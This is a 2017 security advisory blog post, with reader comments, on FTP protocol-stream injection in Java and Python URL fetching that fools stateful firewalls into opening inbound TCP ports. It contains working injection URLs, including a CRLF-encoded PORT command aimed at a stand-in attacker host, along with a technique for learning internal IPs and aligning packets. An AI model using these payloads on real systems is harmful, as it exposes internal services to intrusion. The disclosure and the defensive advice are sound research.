Monday, February 20, 2017

Advisory: Java/Python FTP Injections Allow for Firewall Bypass

UPDATE: Fixes for these issues have been out for a while. Therefore I've published a proof-of-concept exploit. Enjoy.

Overview

Recently, an vulnerability in Java's FTP URL handling code has been published which allows for protocol stream injection. It has been shown that this flaw could be used to leverage existing XXE or SSRF vulnerabilities to send unauthorized email from Java applications via the SMTP protocol. While technically interesting, the full impact of this protocol stream injection has not been fully accounted for in existing public analysis.

Protocol injection flaws like this have been an area of research of mine for the past few couple of years and as it turns out, this FTP protocol injection allows one to fool a victim's firewall into

Blog Archive

▼ 2017 (2)
▶ December (1)
▼ February (1)
Advisory: Java/Python FTP Injections Allow for Fir...

▶ 2016 (2)
▶ 2015 (2)
▶ 2014 (1)

allowing TCP connections from the Internet to the vulnerable host's system on any "high" port (1024-65535). A nearly identical vulnerability exists in Python's `urllib2` and `urllib` libraries. In the case of Java, this attack can be carried out against desktop users *even if those desktop users do not have the Java browser plugin enabled.*

As of 2017-02-20, the vulnerabilities discussed here have not been patched by the associated vendors, despite advance warning and ample time to do so.

The Bugs

Java is vulnerable to FTP protocol stream injection via malicious URLs in multiple contexts. If an attacker can convince any Java application to attempt to retrieve a malicious URL of this type, then the attacker can inject FTP commands into the client's protocol stream. For instance, the following URL:

```
ftp://foo:bar%0d%0aINJECTED@example.net/file.png
```

Allows for new lines (CRLF) to be injected in the TCP stream, making the receiving server think that "`INJECTED`" is a separate command sent by the client. The above URL, when fetched by Java, causes the following partial command sequence to be sent:

```
USER foo
PASS bar
INJECTED
TYPE I
EPSV ALL
PASV
...
```

Java is actually vulnerable to injection via multiple fields in the URL. The username field and any directory specified in the URL can also allow for injection.

Python's built-in URL fetching library (`urllib2` in Python 2 and `urllib` in Python 3) is vulnerable to a nearly identical protocol stream injection, but this injection appears to be limited to attacks via directory names specified in the URL.

FTP Security Quirks

To fully understand the attack I am about to describe, it is critical to have a solid grasp of how the FTP protocol works. FTP's primary communications start on a "control channel", which is the TCP connection initiated by clients (typically to port 21) where human-readable commands and responses can be observed. Whenever file contents, directory listings, or other bulk data is transferred a secondary TCP connection, called the "data channel", is created for this purpose. In the classic protocol specification, the FTP client tells the server how to connect back to it at an IP address and random high port. The FTP server then connects back to the client and sends the requested data over this temporary channel. Once network address translation became popular, this caused problems for FTP, so a "passive mode" was introduced. In this passive mode, data channels are instead initiated by the client. (For the sake of clarity, the original FTP mode of data channel initiation will be hereafter referred to as "classic mode".) Over time, firewall implementations began to support classic mode FTP by performing control channel protocol inspection, and then dynamically routing server-initiated TCP connections back to the appropriate host.

The behavior of classic mode FTP and firewalls has been a source of security risk for a very long time. An attack was identified where a victim could be lured into running a non-privileged Java applet on a web page. This applet would create an FTP control channel back to the attacker's server and fool stateful firewalls into opening arbitrary TCP ports and relaying them back to the victim's desktop system. The first public mention of this apparently comes from

Phrack issue #60, published in 2002. A few years later, a clearer write-up of the attack was published by Florian Weimer. Nearly 15 years since then, many commercial firewalls still support classic mode FTP by default.

Tricking Firewalls

Since our FTP control channel injection vulnerabilities allow us to take over the commands sent by FTP clients, it should be possible to pull off the firewall attacks described long ago, right? For instance, we could simply inject a malicious `PORT` command into the stream at the right moment. When the firewall sees this, it will translate the internal IP address and port for that command into an external address and port, and then enable a temporary NAT rule to allow a single TCP connection to come back in, relaying it to the FTP client.

Suppose for a moment that the victim host has an internal IP address of `10.1.1.1` and our attacker hosts a server at `evil.example.com`. Then we should expect the following FTP URL to fool the firewall into opening up port 1337:

```
ftp://u:p@evil.example.com/foodir%0APORT%2010,1,1,1,5,57/z.txt
```

(Note that in the classic FTP `PORT` command, the port number is represented as two separate ASCII-encoded octets. In short: `1337 == 5*256 + 57`) However, as it turns out there are actually two significant challenges in making this work in practice...

First Challenge: Determining Internal IP

Of course to pull this off, the attacker needs to know the victim's internal IP address (or else the stateful firewall will ignore the `PORT` command). Let's assume the attacker gets multiple bites at the cherry. That is, they can send a URL, see how the client behaves, then try another until the attack is successful. (Only 2-3 attempts should be required, as you'll see by the end of this.)

As a first probe, the attacker can simply supply the victim with an FTP URL that points to an unusual port on the attacker's server, such as:

```
ftp://u:p@evil.example.com:31337/foodir/z.txt
```

Note that there are no protocol stream injection attempts happening here. FTP clients will attempt to initiate a passive session to retrieve the `z.txt` file, but if the attacker's FTP server rejects the `PASV` command, then the client will fall back to classic mode and send a `PORT` command. Since the port used for the control channel is non-standard, it is unlikely that a stateful firewall at the victim's site will attempt to interpret and translate the `PORT` commands on this session. That will cause the internal IP address of the victim to be leaked to the attacker.

Second Challenge: Packet Alignment

Everything up until now seems very easy. However, if you stop reading now, you won't know the key ingredient to this recipe.

FTP is designed as a synchronous, line-based protocol where each side of the communication writes one line and waits for a response from the other side before continuing. That means neither side of the communication should write more than one command before waiting for the other to respond.

The Linux `conntrack` developers take advantage of this fact to try and be extra sure that they really are seeing a `PORT` command on the wire. The implementation requires any `PORT` command to appear at the very beginning of a packet. Therefore, the following URL (as shown earlier) doesn't actually cause Linux firewalls to open up the desired port:

```
ftp://u:p@evil.com/foodir%0APORT%2010,1,1,1,5,57/z.txt
```

If you carefully observe the packet trace of this URL being fetched, you'd see commands sent by the client coming in the following individual packets:

```
--Packet 1--
USER u
--Packet 2--
PASS p
--Packet 3--
TYPE I
--Packet 4--
CWD foodir
PORT 10,1,1,1,5,57
--Packet 5--
...
```

Since the `PORT` command comes in the middle of Packet 4, Linux ignores it.

The secret ingredient is that we need to find a way to force the client to send the `PORT` command at the very beginning of a packet, even though two commands were sent in a single `write(2)` call by Java or Python. Of course it is possible for a user-space application to perform a `write(2)` call to a socket with data that is much larger than the packet size supported by the TCP/IP stream. What if our `CWD` command had a directory name that was just long enough such that it filled up exactly one TCP packet? Then "`PORT...`" would be forced to start at the beginning of very next packet!

This can be tricky to pull off, since MTU sizes can be relatively large (and a Java/Python application might complain about receiving a very long URL during the attack). Also, network conditions between any pair of hosts will vary, making it hard to predict the effective MTU sizes up front. To simplify things, we can simply force the FTP control channel's TCP connection to use the minimum MTU size, since we control the malicious FTP server. On the attacker's side, firewall rules can be used to clamp the MSS to 536 bytes, which makes our malicious URLs much easier to calculate. From there, some basic trial and error can be used to determine what length the directory name must be to exactly align with a packet boundary.

Why are we so interested in fooling the Linux `conntrack` module? As it turns out, many commercial firewall implementations use Linux as their base firewall. More on that below. Other firewalls may use similar checks to mitigate FTP shenanigans, but we have not yet researched this.

Proof of Concept

An exploit for the attack described here has been developed. The script starts up by providing the attacker a URL to test against the victim, and then initiates a malicious FTP server. Upon receiving the first request, the FTP server interactively calculates a new URL containing a directory name length which causes the `PORT` command to land at the beginning of a packet. The entire attack (including the request used to determine the victim's internal IP) is typically accomplished with just three SSRF attacks to open up one TCP port. Each additional SSRF attack could open up one additional TCP port. Since most firewalls do not allow FTP data channels to be set up by clients on ports below 1024, the ports an attacker can target are limited to the 1024-65535 range.

The exploit script will not be released until both Oracle and Python developers correct their FTP client code.

Attack Scenarios

There are a variety of situations where we could convince a Java application to fetch our URLs, which we discuss briefly here.

JNLP Files

This is perhaps the most startling attack scenario. If a desktop user could be convinced to visit a malicious website while Java is installed, even if Java applets are disabled, they could still trigger Java Web Start to parse a JNLP file. These files could contain malicious FTP URLs which trigger this bug. A clever attacker could weaponize the exploit to identify the victim's internal IP address, determine the appropriate packet alignment, and then exploit the bug all in one shot. A clever implementation could even open many ports at once using a single JNLP file. Also note, that since Java parses JNLP files before presenting the user with any security warnings, the attack can be fully successful without any indication to the user (unless the browser itself warns the user about Java Web Start being launched).

Man-in-the-Middle

If a Java or Python (`urllib`) application is fetching any HTTP URL, then a privileged network attacker could inject an HTTP redirect to bootstrap this attack.

Server-Side Request Forgery (SSRF)

If an application accepts any HTTP, HTTPS, or FTP URL, then exploitation is straight-forward. Even if the application accepts only HTTPS or HTTP URLs due to (naive) input validation, then an attacker could simply redirect the client to a malicious FTP URL.

XML eXternal Entities (XXE)

Most XXE bugs yield SSRF-like access, so this is pretty straight-forward. Note that some XXE vulnerabilities aren't very practical to exploit due to XML parser settings, preventing classic entity attacks. However, in some of these cases SSRF is still possible through `DOCTYPE` headers. If external entities are supported by an XML parser, then several URLs could be included in a single document, allowing for IP address determination, packet alignment determination, and finally an exploit (using dynamic redirection) all in one XXE attack.

Firewall Testing

Most FTP translation testing was performed against a custom Linux firewall running a recent kernel. Many commercial firewalls use Linux as a base operating system for their appliances. In many cases, these vendors enable classic mode FTP by default. Limited testing was performed against a Palo Alto firewall and a Cisco ASA firewall, both of which appeared to be vulnerable under default settings. While testing of commercial firewalls has been very limited at this point, it seems likely that a significant percentage of production firewalls in the world are susceptible to attack through FTP protocol stream injections.

Responsible Disclosure

The Python security team was notified in January 2016. Information provided included an outline of the possibility of FTP/firewall attacks. Despite repeated follow-ups, there has been no apparent action on their part.

Oracle was notified in early November 2016 with full details of the attack. No patch for Java is currently available.

Prior Research

The recent disclosure of SMTP attacks using FTP protocol injection was the impetus for releasing these details now. However, previous researchers had already published information showing the protocol stream injection existed. Between these two publications and knowledge of the Java/Firewall Attack, it is not a leap to realize FTP shenanigans might be possible as well.

Recommendations for Vendors

Commercial Firewall Vendors

Disable classic mode FTP by default. Add prominent warnings to configuration interfaces that enabling it carries unnecessary risk. (Even after these protocol injections are fixed, other injections have been known to appear which could be used to exploit this condition.)

Linux netfilter Team

Consider adding prominent warnings to the documentation for `conntrack` that discuss the risk of enabling FTP translation (and perhaps other translation). Perhaps this will help discourage future commercial device vendors from making the same mistakes of the past.

Other Software/Service Vendors

Audit your applications to be sure they are not vulnerable to SSRF or XXE attacks. XML parsing in Java is currently vulnerable by default, making XXE vulnerabilities very common on that platform.

Recommendations for the General Public

- Consider uninstalling Java from all desktop systems. If this is not possible due to legacy application requirements, disable the Java browser plugin from all browsers and disassociate the `.jnlp` file extension from the Java Web Start binary.
- Consider requesting an update to fix these issues from Oracle and the Python Software Foundation. Be sure to apply security updates to all versions of Java and Python, including those running on application servers and appliances.
- Disable classic mode FTP in all firewalls, allowing only passive mode.

Posted by Timothy Morgan at 7:54 AM

7 comments:

Anonymous said...

Just to make sure I'm understanding this right. The attack should open up a port in the firewall? Thus if the victim was running a malicious application that wanted to tunnel out but couldn't use a port, this could open a port for them?

February 23, 2017 at 2:35 PM

Timothy Morgan said...

Not exactly. The exploit allows an external attacker to fool the victim's network firewall into opening inbound TCP ports back to the victim. No malware on the victim's system is involved (unless you consider Java to be malware ;-)).

February 23, 2017 at 3:02 PM

Anonymous said...

Sorry, my understanding is a bit rough. What would the possible ramifications of this attack be? If an attacker could force open a port in a victims firewall, wouldn't you still need some process running on the victims machine for it to matter? As in wouldn't the victim need some process running on port 1337 for the attacker to exploit?

February 23, 2017 at 5:43 PM

Timothy Morgan said...

"... wouldn't you still need some process running on the victims machine for it to matter?"

Well sure. What is the point of a network firewall? The original purpose of firewalls was to block access to services (e.g. TCP and UDP ports) that external folks shouldn't have access to. This bypasses some of those restrictions. The specific port 1337 is obviously just an example. As the article indicates, an attacker could open up any TCP port in the range 1024-65535. Depending on the scenario, you could even open up many of those ports in a single attack and then just probe to find out which are actually open. Is your desktop or server running any services on these ports? Are any of those a risk if they are exposed to the outside world? In most networks, some subset of services are a serious risk if an attacker can access them. Examples include Redis, memcached, database services (if run on an application server itself), web administration interfaces on high ports (e.g. jBoss or Tomcat), Hadoop services, and so on.

February 23, 2017 at 6:43 PM

JL said...

How come no CVE's have been made public on this page ?

February 28, 2017 at 1:58 AM

Timothy Morgan said...

Hi JL,

Researchers are not permitted to obtain CVEs independently if the vendor is a CNA (https://cve.mitre.org/cve/cna.html). Oracle is a CNA. This is a corruption of the system, in my mind, which only benefits vendors who prefer to suppress disclosure. Outside of that, CVE assignment has become a chore and is unreliable. Many CVE requests have been ignored in the last year, so I no longer go out of my way to get them assigned. If other folks obtain numbers and report them to me, then I'm happy to update my blog, but I'm not going to invest my time in an assignment system that is collapsing under it's own weight.

February 28, 2017 at 7:27 AM

Anonymous said...

looks like palo issued an ips signature to protect

March 3, 2017 at 3:49 PM

Post a Comment

Newer Post Home Older Post

Subscribe to: Post Comments (Atom)